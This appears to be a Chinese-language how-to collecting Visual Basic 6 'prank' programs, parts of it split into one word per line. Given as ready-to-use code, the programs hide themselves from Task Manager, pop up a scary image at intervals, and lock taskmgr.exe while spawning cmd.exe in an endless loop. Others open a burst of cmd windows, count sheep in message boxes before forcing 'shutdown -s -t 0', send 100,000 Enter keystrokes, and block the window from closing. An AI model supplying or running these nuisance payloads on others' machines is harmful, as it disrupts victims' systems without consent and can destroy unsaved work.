这是一个吓人程序:
首先新建一个文件夹,放一张比较吓人的图片,名称为“3.jpg”。
在vb中新建工程,创建一个计时器,interval设为1000。窗体的borderstyie设为0。
输入如下代码:
Dim a, x As Integer
Dim b As Boolean
Private Sub Form_Load()
Form1.Picture = LoadPicture(App.Path & "\3.jpg")
a = 0
b = False
Form1.Hide
'Shell "cmd /c taskkill /im explorer.exe /f"
End Sub
Private Sub Timer1_Timer()
App.TaskVisible = False
If a = 120 Then
Form1.Show
b = True
a = 0
Else
a = a + 1
End If
If b = True Then
x = x + 1
End If
If x = 10 Then
Form1.Hide
x = 0
b = False
End If
End Sub
Private Sub Form_DblClick()
End
End Sub
双击后窗体关闭,否则每隔120秒打开窗体10秒。 (程序可执行文件放入与图片相同的文件夹)
private sub form_Load()
dim i as integer
i=1
Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1
while(i>0)’构造死循环
shell("C:\windows\system32\cmd.exe")
wend
end sub
另外把窗体的Visible属性设置成False,这样连程序窗体都看不到了
做个循环,只有按Q键才可以退出。
1、窗口炸弹
Private
Sub
Form_Load()
For
a
=
1
To
10
Shell
"cmd
/c
echo
轰隆——一切的全完了!
&
pause",
vbNormalFocus
Next
End
Sub
2、数羊程序
Private
Sub
Form_Load()
MsgBox
"困死我了,睡不着,帮我数羊",
,
"数羊"
MsgBox
"就一百只羊吧!",
,
"数羊"
For
a
=
1
To
100
MsgBox
a
&
"只羊",
,
"数羊"
Next
MsgBox
"身边没个人,好孤单,好寂寞……",
"64",
"数羊"
Shell
"shutdown
-s
-t
0"
End
Sub
3、按十万次回车
Private
Sub
Form_Load()
For
a
=
1
To
100000
SendKeys
"{enter}"
Next
End
Sub
'新建一个工程,什么都不干
'在Form_QueryUnload 和 Unload事件写代码
Private Sub Form_Load()
App.TaskVisible = False '不在任务管理器显示
'Form1.ShowInTaskBar = False '不在任务栏显示
End Sub
Private Sub Form_QueryUnload(Cancel As Integer)
Msgbox "对不起,现在忙..."
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Msgbox "对不起,现在忙..."
Cancel = 1
End Sub
Private Sub Form_Click()
Static i As Integer
i = i + 1
If i >= 100 Then End '点100次窗体就结束
End Sub